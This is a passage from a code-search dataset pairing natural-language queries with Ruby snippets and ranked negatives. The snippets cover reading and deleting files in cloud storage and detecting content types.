.createInstance(Components.interfaces.nsILocalFile);\n file.initWithPath(path);\n\n var fileStream = Components.classes[\"@mozilla.org/network/file-input-stream;1\"]\n .createInstance(Components.interfaces.nsIFileInputStream);\n fileStream.init(file, 1, 0, false);\n\n var binaryStream = Components.classes[\"@mozilla.org/binaryinputstream;1\"]\n .createInstance(Components.interfaces.nsIBinaryInputStream);\n binaryStream.setInputStream(fileStream);\n var array = binaryStream.readByteArray(fileStream.available());\n\n binaryStream.close();\n fileStream.close();\n file.remove(true);\n\n return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(\"\");\n } catch (e) { return \"\"; }\n };\n |\n end", "def read\n @read ||= File.read(path)\n end", "def read_file(file)\n File.exist?(file.to_s) ? IO.read(file) : \"\"\n end", "def get_file_as_string(filename)\n data = ''\n\n File.open(filename, \"r\") { |f|\n data = f.read\n }\n \n return data\nend", "def remote_contents_of(file)\n contents_of(remote_branch(local_branch), file)\n end", "def read\n @epub.file.read(abs_filepath)\n end", "def local_contents_of(file)\n contents_of(local_branch, file)\n end", "def read_file(resource)\n File.read(resource)\n end", "def get_file_as_string(filename)\n data = ''\n f = File.open(filename, \"r\") \n f.each_line do |line|\n data += line\n end\n return data\n end", "def fetch_file_contents(remote_path)\n result = backend.file(remote_path)\n if result.exist? && result.file?\n result.content\n else\n nil\n end\n end", "def load_file_contents(filename)\n File.open(filename).readlines\n end", "def storage_file_content storage_file_path, encryption_key: nil\n local_tempfile = Tempfile.new \"cloud-storage-tests\"\n storage_file = @bucket.file storage_file_path,\n encryption_key: encryption_key\n storage_file.download local_tempfile.path, encryption_key: encryption_key\n File.read local_tempfile.path\n ensure\n local_tempfile.close\n local_tempfile.unlink\n end", "def get_file_as_string(filename)\n data = ''\n f = File.open(filename, \"r\")\n f.each_line do |line|\n data += line\n end\n return data\n end", "def file(path)\n File.read(path)\n end", "def post_file_contents\n File.open(\"posts/#{@filename}\", 'r').read\n end", "def contents\n\tRails.logger.debug {\"getting gridfs content #{@id}\"}\n f=self.class.mongo_client.database.fs.find_one(:_id=>BSON::ObjectId.from_string(@id))\n # read f into buffer, array of chunks is reduced to single buffer and returned to caller.\n # this is how file is broken apart and put together and assembled. Buffer is sent back to browser\n # to disaply on the screen\n if f \n buffer = \"\"\n f.chunks.reduce([]) do |x,chunk| \n buffer << chunk.data.data \n end\n return buffer\n end \n\nend", "def get_file_as_string(filename)\n data = \"\"\n File.open(filename, \"r\").each_line do |line|\n data += line\n end\n data\n end", "def read_file(file)\n text_file = (path.ftype == \"directory\" ? path : Pathname.new(path.dirname)) + file\n File.read(text_file) if File.exists?(text_file)\n end", "def read\n IO.read(full_path)\n end", "def get_file(file_path)\n ensure_file_open!\n @file.read(file_path)\n end", "def read_remote_file(file)\n begin\n result = \"\"\n @ftp.retrbinary(\"RETR #{file}\", 1024) {|line| result += line if line != nil}\n rescue Exception => e\n error_message(e)\n ensure\n return result\n end\n end", "def read_input_file\n text = nil\n File.open(input_filename, \"r\") do |file|\n text = file.read\n end\n text\n end", "def contents\n f = self.class.mongo_client.database.fs.find_one({:_id=>BSON::ObjectId.from_string(@id)})\n if f\n buffer = \"\"\n f.chunks.reduce([]) do |x, chunk|\n buffer << chunk.data.data\n end\n return buffer\n end\n end", "def read_file(filename); end", "def content\n return @content if @content\n if self.commit\n @content = find_content ? find_content.data.force_encoding('UTF-8') : \"\"\n else\n @content = File.exist?(self.file_path) ? open(self.file_path).read.force_encoding('UTF-8') : \"\"\n end\n @content\n end", "def get_file_content(dest)\n File.open(dest, \"r\").read\nend", "def read_workspace_file(workspace_bucket_id, filename)\n file = self.get_workspace_file(workspace_bucket_id, filename)\n file_contents = file.download\n file_contents.rewind\n file_contents\n end", "def readFile(fileName)\r\nputs open(fileName).read\r\nend", "def file\n return @file\n end", "def file\n return @file\n end", "def read_file(path)\n result = run(\"cat #{path}\")\n result.success? ? result.output : ''\n end", "def template_content(template_file)\n File.read(File.expand_path(find_in_source_paths(template_file)))\n end", "def read_file\n\t\tif @filename == \"\"\n\t\t\t@text = [\"\"]\n\t\t\treturn\n\t\telse\n\t\t\tif File.exists? @filename\n\t\t\t\ttext = IO.read(@filename)\n\t\t\telse\n\t\t\t\t@text = [\"\"]\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\t# get rid of crlf\n\t\ttemp = text.gsub!(/\\r\\n/,\"\\n\")\n\t\tif temp == nil\n\t\t\t@eol = \"\\n\"\n\t\telse\n\t\t\t@eol = \"\\r\\n\"\n\t\tend\n\t\ttext.gsub!(/\\r/,\"\\n\")\n\t\t@text = text.split(\"\\n\",-1)\n\tend", "def readFile(fileLocation)\n\tfileContents = \"\"\n\n dataFromFile = File.open(fileLocation,\"r\")\n\n dataFromFile.each_line do |line|\n \tfileContents += line\n end\n\n dataFromFile.close\n return fileContents\nend", "def file_contents_without_cr(path)\n File.read(path).gsub(/\\r\\n/, \"\\n\")\n end", "def access_file(filename)\n\tcontents = File.read(filename)\n\n\tputs \"Unprocessed: \" + contents\n\n\tprocessed_contents = File.open(filename) do |file|\n\t\t# do processing and return processed file contents here\n\t\treturn file.read.replace \"a\" \"zzz\"\n\tend\n\n\tputs \"Processed: \" + contents\nend", "def read_file(filename)\n file = File.open(filename, 'r')\n data = file.read\n file.close\n data\nend", "def read_file\n # returns CSV StringIO data\n # e.g. Paperclip.io_adapters.for(file).read\n fail \"read_file method is required by #{self.class.name}\"\n end" ]
[ "0.75813705", "0.74770534", "0.73264825", "0.7236603", "0.72137386", "0.71808165", "0.71342", "0.71263385", "0.7110893", "0.7109826", "0.71034366", "0.70895344", "0.70805097", "0.70650035", "0.7056525", "0.7014263", "0.7014263", "0.7008474", "0.69680846", "0.6942495", "0.6862671", "0.68623316", "0.68087894", "0.6783372", "0.6783372", "0.6763314", "0.6758546", "0.6730537", "0.67251796", "0.6703666", "0.6698737", "0.66854805", "0.66574174", "0.6656623", "0.6628967", "0.66154295", "0.6609823", "0.660602", "0.6604391", "0.6604391", "0.6596444", "0.65918976", "0.6589858", "0.65816456", "0.65755355", "0.6573387", "0.6564436", "0.6535309", "0.65233576", "0.65197563", "0.6515267", "0.65150267", "0.651434", "0.651434", "0.65046155", "0.6503579", "0.64838654", "0.64774936", "0.6459761", "0.6448984", "0.64477706", "0.64445037", "0.64401215", "0.64378977", "0.64107513", "0.6395455", "0.6388692", "0.6386225", "0.63853645", "0.63796455", "0.6370994", "0.63700575", "0.6369309", "0.6365839", "0.63647085", "0.6359366", "0.6358629", "0.6345186", "0.6341207", "0.6335451", "0.6327446", "0.6325821", "0.6316656", "0.6311266", "0.6308556", "0.6295528", "0.6286096", "0.62845314", "0.6283131", "0.6280568", "0.6270654", "0.626042", "0.626042", "0.6256353", "0.62538946", "0.6242687", "0.62361884", "0.6225823", "0.62196034", "0.6218214", "0.6215652" ]
0.0
-1
Remove the file from Cloud Files
def delete object.destroy rescue nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove file\n file.delete\n @files -= [file]\n end", "def remove(filename); end", "def remove_file!\n begin\n super\n rescue Fog::Storage::Rackspace::NotFound\n self.file = nil\n self.send(:write_attribute, :file, nil)\n end\n end", "def remove_file\n\n @source_files_id = params[:source] + '_files'\n @source = TaliaCore::Source.find(N::URI.from_encoded(params[:source]))\n\n TaliaFile.find(params[:talia_file_uri]).destroy\n end", "def destroy\n file&.delete\n end", "def rm_file(file)\n @files.delete(file.path)\n end", "def rm_file(file)\n @files.delete(file.path)\n end", "def remove_storage_file\n FileUtils.rm(file_path)\n end", "def remove!\n FileUtils.rm(File.join(remote_path, remote_file))\n end", "def del\n File.delete(@file)\n end", "def remove(uploaded_file, context)\n uploaded_file.delete\n end", "def destroy_file\n object = self.class.bucket.objects.find(full_filename)\n object.destroy\n end", "def remove(filename)\n send_request(FXP_REMOVE, :string, filename)\n end", "def delete_file\n File.unlink file\n end", "def delete_file\n File.unlink file\n end", "def remove!\n with_callbacks(:remove) do\n delete_file\n @file = nil\n @cache_id = nil\n end\n end", "def destroy_file\n Qiniu::RS.delete(qiniu_config[:bucket_name], full_filename)\n end", "def remove_file(file)\n index = @repo.index\n index.remove file\n\n @affected_files << file\n end", "def remove!\n begin\n connection.sync_clock\n connection.delete_object(bucket, File.join(remote_path, remote_file))\n rescue Excon::Errors::SocketError; end\n end", "def delete_uploaded_file(new_file)\n if version_name.blank? && Refinery::PhotoGallery.delete_uploaded_file\n filename_to_delete = File.join(Rails.root.to_s,Refinery::PhotoGallery.photo_gallery_dir_relative_to_root, store_dir, filename )\n File.delete(filename_to_delete)\n end\n end", "def delete_file storage_file_path\n @bucket.file(storage_file_path).delete if @bucket.file storage_file_path\n end", "def delete_file storage_file_path\n @bucket.file(storage_file_path).delete if @bucket.file storage_file_path\n end", "def remove_content\n File.unlink(filename) if File.exist?(filename)\n end", "def remove_imagekit_file\n service.class.delete_ik_file(self)\n end", "def remove_uploaded_file\n remove_image!\n end", "def delete_file\n @file = []\n end", "def destroy_file\n File.delete full_file_path\n rescue\n end", "def remove_file src\n src = src.src if src.respond_to? :src # if passed an OpenStruct e.g.\n trace { \"remove_file: removing file '#{src}' [nuget model: package]\" }\n @files = @files.reject { |f| f.src == src }\n end", "def remove_file\n return unless file_exists?\n\n s3_object(false).delete\n rescue => e\n Rails.logger.error \"Unable to delete file #{self.filename}: #{e.message}\"\n end", "def delete(cloud_file)\n\n payload = {\n root: \"auto\",\n path: cloud_file.path\n }\n\n connexion = Dropbox.start(:delete, access_token)\n response = connexion.post do |req|\n req.url \"fileops/delete\"\n req.body = payload\n end\n response = format_response(response)\n Filetree.new('dropbox').update([response[:path], nil])\n\n end", "def remove!\n messages = []\n transferred_files do |local_file, remote_file|\n messages << \"#{storage_name} started removing '#{ local_file }'.\"\n end\n Logger.message messages.join(\"\\n\")\n\n FileUtils.rm_r(remote_path)\n end", "def delete_file(uid, info = {})\n grid_info = files_collection.find(filename: uid).first\n bucket.delete(grid_info[:_id]) if grid_info\n end", "def remove_file(file)\n File.delete(file) if File.exist?(file)\nend", "def delete\n @file = nil\n # file.delete\n end", "def delete_file(file)\n delete_attachment(file)\n end", "def remove_file(name)\n @files.delete_at(name) if @files[name]\n end", "def remove(filename)\n not_implemented('remove')\n end", "def _delete(uploaded_file, context)\n remove(uploaded_file, context)\n end", "def destroy\n remove_files(@path + \"*\")\n end", "def delete(filename); end", "def deleteUploadFile\n\n filepath = Rails.root.join(path, file_name)\n\n if File.exist? filepath \n File.delete filepath\n end\n\n end", "def delete_file(filename,repo)\n curl_delete(\"#{self.host}/api2/repos/#{repo}/file/?p=#{filename}\").body_str\n end", "def files_remote_remove(options = {})\n post('files.remote.remove', options)\n end", "def remove_created_file(file_path)\n if file_path && File.exists?(file_path)\n File.delete(file_path)\n end\nend", "def delete\n File.delete(file_name)\n rescue\n # ignore\n end", "def delete_file(file_path)\n if Rails.env.production? && file_exists?(file_path)\n bucket.object(file_path).delete\n end\n end", "def remove_created_file(file_path)\n File.delete(file_path) if file_path && File.exist?(file_path)\nend", "def delete_file(file_name)\n fail 'No Structure ID defined for structure. Can\\'t delete file' if @structure.id.nil?\n\n data = Hashie::Mash.new\n data.structure_id = @structure.id\n data.file_name = file_name\n\n push_file('api/remove_file', MultiJson.dump(data))\n end", "def delete(bucket, file); end", "def remove_file(filename, options={})\n end", "def remove_photo_from_filesystem\n member_photo = nil\n end", "def destroy_file\n FileUtils.rm(full_filename) if File.exists?(full_filename)\n end", "def remove_local_file(file, user)\n logger.debug(\"removing local file #{file.uid} by user #{user.dxuser}\")\n UserFile.transaction do\n # Use find_by(file.id) since file.reload may raise ActiveRecord::RecordNotFound\n file = UserFile.find_by(id: file.id)\n return unless file\n\n Event::FileDeleted.create_for(file, user)\n file.destroy!\n end\n end", "def delete_file(path)\n \n puts \"Sending path via MCollective Files client\"\n @mc.delete(:path => path)\n printrpcstats\n \n end", "def smb_file_rm(file)\n fd = smb_open(file, 'ro')\n fd.delete\nend", "def remove!\n MiGA.DEBUG \"Metadata.remove! #{path}\"\n File.unlink(path)\n nil\n end", "def destroy\n Rails.logger.debug {\"destroying gridfs file #{@id}\"}\n if persisted?\n Photo.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end\n end", "def remove_container_file\n if container_file && container_file.exists? && container_file.children.empty?\n container_file.destroy\n end\n end", "def rm(file)\n cmd_exec(\"rm -rf #{file}\")\n end", "def delete(file_path)\n file_name = File.basename(file_path)\n object = @bucket.objects[file_name]\n object.delete\n end", "def unmap_file(path)\n path = path.to_s\n @files.delete path\n end", "def unmap_file(path)\n path = path.to_s\n @files.delete path\n end", "def delete_files\n self.bruse_files.each do |file|\n file.destroy\n end\n end", "def remove_file(file)\n file = File.expand_path(file, @app.root)\n \n if @local_data.has_key?(file)\n @app.cache.remove(:raw_template, file)\n @local_data.delete(file) \n end\n end", "def delete_one(file)\n files_collection.find(:_id => file.id).delete_one\n chunks_collection.find(:files_id => file.id).delete_many\n end", "def remove_fileset\n\n fileset = get_the_fileset\n if fileset.nil? == false\n works = fileset.in_works\n work_id = works.empty? ? 'unknown' : works[0].id\n\n # audit the information\n WorkAudit.audit( work_id, User.cid_from_email( @api_user.email), \"File #{fileset.label}/#{fileset.title[0]} deleted\" )\n\n file_actor = ::CurationConcerns::Actors::FileSetActor.new( fileset, @api_user )\n file_actor.destroy\n render_standard_response( :ok )\n else\n render_standard_response( :not_found, 'Fileset not available' )\n end\n\n end", "def remove!(package)\n remote_path = remote_path_for(package)\n\n connection.sync_clock\n\n transferred_files_for(package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started removing \" +\n \"'#{ local_file }' from bucket '#{ bucket }'.\"\n\n connection.delete_object(bucket, File.join(remote_path, remote_file))\n end\n end", "def destroy_file\n start_ssh do |ssh|\n ssh.exec!(\"rm #{e full_filename}\")\n dir = File.dirname(full_filename)\n ssh.exec!(\"find #{e dir} -maxdepth 0 -empty -exec rm -r {} \\\\;\")\n dir = File.dirname(dir)\n ssh.exec!(\"find #{e dir} -maxdepth 0 -empty -exec rm -r {} \\\\;\")\n end\n end", "def delete_remote\n policy = get_policy(\"remove\")\n signature = get_signature(policy)\n remote = url+\"?signature=\"+signature+\"&policy=\"+policy\n try = self.class.delete(remote)\n\n # If file not found in filepicker, destroy anyway, else only if success\n if try.not_found?\n true\n else\n try.success?\n end\n end", "def remove!(package)\n remote_path = remote_path_for(package)\n\n transferred_files_for(package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started removing '#{ local_file }' \" +\n \"from container '#{ container }'.\"\n connection.delete_object(container, File.join(remote_path, remote_file))\n end\n end", "def remove_file(file)\n path = file_to_path(file)\n return false unless path\n \n path = normalize_path(path)\n if @pages.has_key?(path)\n page(path).delete()\n @pages.delete(path)\n end\n end", "def remove(file); @actions << Action::RemoveAction.new(file); end", "def del_file( file_path )\n\n path_to_dot_git = File.join( @git_folder_path, \".git\" )\n git_rm_cmd = \"git --git-dir=#{path_to_dot_git} --work-tree=#{@git_folder_path} rm #{file_path}\"\n log.info(x) { \"[git] file remove command => #{git_rm_cmd}\" }\n %x[#{git_rm_cmd}];\n log.info(x) { \"[git] has removed #{file_path} from repo and working copy.\" }\n\n end", "def rm\n FileUtils.rm path if File.exist?(path)\n end", "def delete_file \n #pp \"deleting file_asset: path is\" + full_filepath\n File.delete(full_filepath) if File.exists?(full_filepath)\n end", "def delete_file(f)\n #return false if !f.kind_of?(Fog::Storage::AWS::File) || !storage_provider.eql?(:aws)\n log \"Deleting: #{f.key}\"\n return f.destroy\n end", "def rm path\n end", "def clean_local_file\n File.delete(@file_path) if File.exist? @file_path\n end", "def remove_file(file)\n if @data['info'].key?('files')\n pieces = String.new\n n = 0\n @data['info']['files'].each do |f|\n p = (f['length'] / @data['info']['piece length'].to_f).ceil\n if ::File.join(f['path']) != file\n s = n * PIECE_SIZE\n e = s + p * PIECE_SIZE - 1\n pieces << @data['info']['pieces'][s..e]\n end\n n += p\n end\n @data['info']['pieces'] = pieces\n @data['info']['files'].delete_if { |f| ::File.join(f['path']) == file }\n\n if @data['info']['files'].length == 1\n @data['info']['name'] = ::File.basename(::File.join(@data['info']['files'].first['path']))\n @data['info']['length'] = @data['info']['files'].first['length']\n @data['info'].delete('files')\n end\n return\n end\n\n return unless @data['info']['name'] == file\n\n @data['info'].delete('name')\n @data['info'].delete('length')\n @data['info'].pieces = String.new\n end", "def delete_files(files)\n not_found = []\n files.each do |file|\n file_stored = Files.where({ '_id' => file[:uuid]}).first\n if file_stored.nil?\n logger.error 'File not found ' + file.to_s\n not_found << file\n else\n if file_stored['pkg_ref'] == 1\n # Referenced only once. Delete in this case\n file_stored.destroy\n del_ent_dict(file_stored, :files)\n file_md5 = Files.where('md5' => file_stored['md5'])\n if file_md5.size.to_i.zero?\n # Remove files from grid\n grid_fs = Mongoid::GridFs\n grid_fs.delete(file_stored['grid_fs_id'])\n end\n else\n # Referenced above once. Decrease counter\n file_stored.update_attributes(pkg_ref: file_stored['pkg_ref'] - 1)\n end\n # file_stored.destroy\n # del_ent_dict(file_stored, :files)\n #\n # # Remove files from grid\n # grid_fs = Mongoid::GridFs\n # grid_fs.delete(file_stored['grid_fs_id'])\n end\n end\n not_found\n end", "def remove!(package)\n remote_path = remote_path_for(package)\n\n messages = []\n transferred_files_for(package) do |local_file, remote_file|\n messages << \"#{storage_name} started removing \" +\n \"'#{ local_file }' from Dropbox.\"\n end\n Logger.info messages.join(\"\\n\")\n\n connection.file_delete(remote_path)\n end", "def unshare_file_in_db(file_id, user_id)\n $db.execute(\"DELETE FROM shared_files WHERE file_id = ? AND user_id = ?\", file_id, user_id)\nend", "def remove_file_if_exists(file)\n File.delete file if File.exists? file\n end", "def remove_file\n super\n\n if video?\n enqueue_remove_job(yandex_token.other_dir, [storage_filename, preview_filename, video_preview_filename])\n elsif storage_filename.present?\n enqueue_remove_job(yandex_token.dir, storage_filename)\n end\n end", "def drop\n File.unlink @file if File.exist?(@file)\n self\n end", "def delete\n begin\n object = bucket.objects.find(@path)\n object.destroy\n true\n rescue Exception => e\n # If the file's not there, don't panic\n nil\n end\n end", "def delete_s3_file(file)\n\n bucket = \"prototype-jv\"\n s3_file_path = \"imageuploader/#{file}\"\n s3 = connect_to_s3()\n\n s3.delete_object({\n bucket: bucket,\n key: s3_file_path\n })\n\nend", "def delete_uploaded_file\r\n return unless file_exists?\r\n File.delete(full_path)\r\n remove_empty_directory\r\n @saved_full_path = nil\r\n end", "def remove!(filename, &callback)\n wait_for(remove(filename, &callback))\n end", "def remove_file(path)\n FileUtils.rm_f(path)\n end", "def remove_file(path)\n FileUtils.rm_f(path)\n end", "def destroy\n File.unlink(@resource[:path])\n Puppet.debug \"deleted file #{@resource[:path]}\"\n end", "def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend", "def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend", "def removed_cookbook_file(path)\n end", "def remove_file(file_id, release_id, package_id)\n page=\"/frs/admin/editrelease.php\"\n\n form = {\n \"group_id\" => group_id,\n \"package_id\" => package_id,\n \"release_id\" => release_id,\n \"file_id\" => file_id,\n \"step3\" => \"Delete File\",\n \"im_sure\" => '1',\n \"submit\" => \"Delete File \"\n }\n\n http_post(page, form)\n end", "def delete_files()\n\n puts \"Deleting cloud files on all machines...\"\n \n # Create an MCollective client so that we avoid errors that appear\n # when you create more than one client in a short time\n mcc = MCollectiveFilesClient.new(\"files\")\n \n # Delete leader, id, last_id and last_mac files on all machines\n # (leader included)\n mcc.delete_file(CloudLeader::LEADER_FILE) # Leader ID\n mcc.delete_file(CloudLeader::ID_FILE) # ID\n mcc.delete_file(CloudLeader::LAST_ID_FILE) # Last ID\n mcc.delete_file(CloudVM::LAST_MAC_FILE) # Last MAC address\n mcc.disconnect # Now it can be disconnected\n \n # Delete rest of regular files on leader machine\n files = [CloudInfrastructure::DOMAINS_FILE, # Domains file\n \"/tmp/cloud-#{@resource[:name]}\"] # Cloud file\n files.each do |file|\n if File.exists?(file)\n File.delete(file)\n else\n puts \"File #{file} does not exist\"\n end\n end\n\n end", "def remove_file(file)\n if File.exists?(file) && !File.directory?(file)\n rm_rf file\n end\nend", "def delete(uploaded_file, context = {})\n _delete(uploaded_file, context)\n uploaded_file\n end", "def destroy\n @file_version.destroy\n head :no_content\n end", "def rm(*path)\n super; on_success{ nil }\n end" ]
[ "0.8315237", "0.7930459", "0.7821289", "0.7794347", "0.77790624", "0.77750176", "0.77453846", "0.7729366", "0.7678892", "0.76143134", "0.7608496", "0.7606489", "0.7592324", "0.7565211", "0.7565211", "0.75286704", "0.75036895", "0.7499145", "0.74917823", "0.7475275", "0.7432183", "0.7432183", "0.7431667", "0.74195385", "0.7418375", "0.74127936", "0.7384515", "0.7382683", "0.73714876", "0.73679674", "0.73598874", "0.73276824", "0.73221004", "0.73097765", "0.73095745", "0.7304362", "0.7296092", "0.72909224", "0.72634625", "0.7255862", "0.725446", "0.7239121", "0.7221832", "0.7200396", "0.7177342", "0.716514", "0.71624243", "0.7160707", "0.7156499", "0.715004", "0.71448356", "0.7124753", "0.7121085", "0.712056", "0.7114909", "0.7112341", "0.7107064", "0.7097655", "0.7089683", "0.7061381", "0.7028071", "0.7028071", "0.70275307", "0.70232123", "0.70094645", "0.6984983", "0.6978889", "0.69713014", "0.6967376", "0.69636774", "0.6960891", "0.6956816", "0.6955466", "0.6952863", "0.69479394", "0.69454515", "0.6944184", "0.6935179", "0.6932515", "0.6929467", "0.69232035", "0.69208014", "0.69167525", "0.69104636", "0.6901392", "0.6892378", "0.6883803", "0.6879062", "0.6872854", "0.6864374", "0.6864374", "0.6855195", "0.6849744", "0.6849744", "0.68469656", "0.6844028", "0.6842644", "0.6840082", "0.68307656", "0.68243796", "0.6824313" ]
0.0
-1
Lookup value for file contenttype header === Returns [String] value of contenttype
def content_type @content_type || object.content_type end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def content_type\n %x(file -bi \"#{self.path}\").chomp.scan(/^[a-z0-9\\-_]+\\/[a-z0-9\\-_]+/).first\n end", "def content_type(path)\r\n ext = File.extname(path).split(\".\").last\r\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\r\nend", "def content_type\n file.try(:content_type)\n end", "def content_type\n @content_type || file.content_type\n end", "def content_type(path)\n ext = File.extname(path).split(\".\").last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\nend", "def content_type(path)\n ext = File.extname(path).split(\".\").last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\nend", "def content_type(file_name)\n # Just grabbing the extension\n extension = ::File.extname(file_name.downcase)[1..-1]\n return @extension_map[extension] if @extension_map.key?(extension)\n 'application/octet-stream'\n end", "def content_type\n @mime_type || @heads['content-type']\n end", "def parsed_content_type_header; end", "def content_type\n headers['content-type'].first\n end", "def content_type\n @headers['content-type'][0] rescue nil\n end", "def content_type\n self.file_content_type\n end", "def content_type\n environment.content_type_of(pathname)\n end", "def content_type\n headers['content-type'].first\n end", "def get_content_type file\n mime_type = MIME::Types.type_for(file.original_filename)\n return mime_type.first ? mime_type.first : nil\n end", "def content_type(path)\n extension = path.split(\".\").last\n type = CONTENT_TYPE[extension] ||= 'application/octet-stream'\nend", "def file_content_type\n types = MIME::Types.type_for(original_filename)\n types.first\n end", "def mime_type\n term = format_controlled_vocabulary.all.find { |x| x.definition == info_service.driver }\n term ? term.value : primary_file.mime_type\n end", "def get_content_type(filename)\n ext = File.extname(filename) # get the extension\n type = 'application/octed-stream'\n type = 'text/html' if ext == '.html' || ext == '.htm'\n type = 'text/plain' if ext == '.txt' || ext == '.rb'\n type = 'text/css' if ext == '.css'\n type = 'image/jpeg' if ext == '.jpeg' || ext == '.jpg'\n type = 'image/gif' if ext == '.gif'\n type = 'image/png' if ext == '.png'\n type = 'image/bmp' if ext == '.bmp'\n type = 'text/xml' if ext == '.xml' || ext == '.xsl'\n type # same as: return type\n end", "def extract_content_type(new_file)\n content_type = nil\n\n File.open(new_file.path) do |fd|\n data = fd.read(1024) || \"\"\n content_type = filemagic.buffer(data)\n end\n\n content_type\n end", "def guessed_safe_content_type\n return unless path\n\n type = Marcel::Magic.by_path(original_filename).to_s\n type if type.start_with?('text/') || type.start_with?('application/json')\n end", "def type\n fil_header[:type]\n end", "def extract_content_type\n if data_content_type == \"application/octet-stream\" && !data_file_name.blank?\n content_types = MIME::Types.type_for(data_file_name)\n self.data_content_type = content_types.first.to_s unless content_types.empty?\n end\n end", "def type_from_detector\n begin\n ContentTypeDetector.new(@file.path).detect\n rescue Exception => e\n \"\"\n end\n end", "def file_type\n FILE_TYPES[@file_type]\n end", "def content_type(path)\n ext = File.extname(path).split('.').last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\n end", "def mime_type\n has_content_type? ? header[:content_type].string : nil rescue nil\n end", "def mime_type\n term = format_controlled_vocabulary.all.find { |x| x.definition == info_service.driver }\n term ? term.value : original_file.mime_type\n end", "def content_type\n @headers['Content-Type']\n end", "def get_content_type(file)\n t = MIME::Types.of(file)\n t.first.content_type unless t.empty?\n end", "def filetype\n `file --mime-type -b #{@file_path}`.chomp\n end", "def content_type\n instance_read(:content_type)\n end", "def content_type\n self[\"Content-Type\"]\n end", "def mime_type\n MIME_TYPES[@file_type]\n end", "def content_type\n headers['content-type']\n end", "def get_mime_type file\n FileMagic.new(FileMagic::MAGIC_MIME).file(file).split(';').first\n end", "def content_type\n if headers.key?('Content-Type')\n typename = headers['Content-Type'].value_without_parameters\n else\n typename = 'text/plain'\n end\n\n MIME::Types[typename].first\n end", "def mime_type\n metadata[\"mime_type\"]\n end", "def determine_content_type\n location = File.join(self.study.data_store_path, self.download_location)\n signature = File.open(location).read(2)\n if signature == StudyFile::GZIP_MAGIC_NUMBER\n 'application/gzip'\n else\n 'text/plain'\n end\n end", "def content_type\n type, *parameters = content_type_parse\n type || 'application/octet-stream'\n end", "def media_type\n return unless headers['Content-Type']\n\n headers['Content-Type'].split(';').first\n end", "def content_type\n #; [!95g9o] returns env['CONTENT_TYPE'].\n return @env['CONTENT_TYPE']\n end", "def content_type\n ::MIME::Types.type_for(name).first.try(:content_type) || 'text/html'\n end", "def mimetype; @mimetype ||= `file -b --mime-type '#@fname'`.strip; end", "def file_extension_content_type filename\n types = MIME::Types.type_for(filename)\n types.empty? ? nil : types.first.content_type\n end", "def mime_type\n @metadata[:mime_type]\n end", "def content_type\n headers[:content_type]\n end", "def content_type\n\t\treturn self.headers[ :content_type ]\n\tend", "def mimetype\n return @mimetype if defined? @mimetype\n\n type = metadata['Content-Type'].is_a?(Array) ? metadata['Content-Type'].first : metadata['Content-Type']\n\n @mimetype = MIME::Types[type].first\n end", "def filetype f\n return nil unless f\n\n f = Shellwords.escape(f)\n s = `file #{f}`\n return :text if s.index 'text'\n return :zip if s.index(/[Zz]ip/)\n return :zip if s.index('archive')\n return :image if s.index 'image'\n return :sqlite if s.index 'SQLite'\n # return :db if s.index 'database'\n return :text if s.index 'data'\n\n nil\nend", "def content_type\n @mime_type\n end", "def content_type\n @io.content_type\n end", "def content_type\n @content_type ||=\n identified_content_type ||\n declared_content_type ||\n guessed_safe_content_type ||\n Marcel::MimeType::BINARY\n end", "def main_type\n has_content_type? ? header[:content_type].main_type : nil rescue nil\n end", "def content_type\n\t\treturn self.headers.content_type\n\tend", "def content_type\n\t\treturn self.headers.content_type\n\tend", "def file_mimetype\n if file_formats.first\n file_formats.first.mimetype\n end\n end", "def content_type\n if format == :auto\n MIME_TYPES.values.join(',')\n elsif MIME_TYPES.has_key? format\n MIME_TYPES[format]\n else\n raise ArgumentError, \"Unknown format '#{format}'\"\n end\n end", "def content_type\n if format == :auto\n MIME_TYPES.values.join(',')\n elsif MIME_TYPES.has_key? format\n MIME_TYPES[format]\n else\n raise ArgumentError, \"Unknown format '#{format}'\"\n end\n end", "def content_mime_type; end", "def type\n stype = \"file\"\n stype = \"atom\" if @filepath.nil? and !@metadata.empty?\n stype = \"multipart\" if !@filepath.nil? and !@metadata.empty?\n stype\n end", "def content_type\n reader.format.content_type if valid?\n end", "def document_type\n FileUtility.get_file_type(@file_name)\n end", "def media_type(meta, file)\n tags = meta.inject(&:merge)\n tags.fetch 'MIMEType', Rack::Mime.mime_type(File.extname(file))\n end", "def request_content_type\n @request_headers[\"Content-Type\"]\n end", "def content_type\n raise MissingFileMapping.new if mapping.blank?\n raise NodesMissing.new if mapping.nodes.blank?\n\n retrieve_meta!\n\n return self.meta['content_type'].to_s\n end", "def content_mime_type\n fetch_header(\"action_dispatch.request.content_type\") do |k|\n v = if get_header(\"CONTENT_TYPE\") =~ /^([^,;]*)/\n Mime::Type.lookup($1.strip.downcase)\n else\n nil\n end\n set_header k, v\n rescue ::Mime::Type::InvalidMimeType => e\n raise InvalidType, e.message\n end\n end", "def media_type\r\ncontent_mime_type.to_s\r\nend", "def dor_file_mimetype\n public_xml_doc.xpath('//contentMetadata/resource/*/@mimetype').map(&:text)\n end", "def content_type\n @content_type ||= MediaTypeIdentifier.load(headers['Content-Type']).freeze\n end", "def filename_and_content_to_mimetype(filename, content)\n # Try filename\n ret = filename_to_mimetype(filename)\n if !ret.nil?\n return ret\n end\n\n # Otherwise look inside the file to work out the type.\n # Mahoro is a Ruby binding for libmagic.\n m = Mahoro.new(Mahoro::MIME)\n mahoro_type = m.buffer(content)\n mahoro_type.strip!\n #STDERR.puts(\"mahoro\", mahoro_type, \"xxxok\")\n # XXX we shouldn't have to 